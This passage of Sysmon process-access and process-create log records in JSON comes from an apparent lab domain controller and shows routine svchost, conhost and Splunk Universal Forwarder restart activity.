11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001001F40400}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001001F40400}","TargetProcessId":"1192","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.075\r\nProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nProcessId: 4644\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-4078-5F2D-0000-001001F40400}\r\nParentProcessId: 1192\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: splunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.075","ProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-4078-5F2D-0000-001001F40400}","ParentProcessId":"1192","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"splunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-001001F40400}\r\nSourceProcessId: 1192\r\nSourceThreadId: 1324\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40f97|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d40f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-4078-5F2D-0000-001001F40400}","SourceProcessId":"1192","SourceThreadId":"1324","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","TargetProcessId":"4644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40f97|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d40f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Program 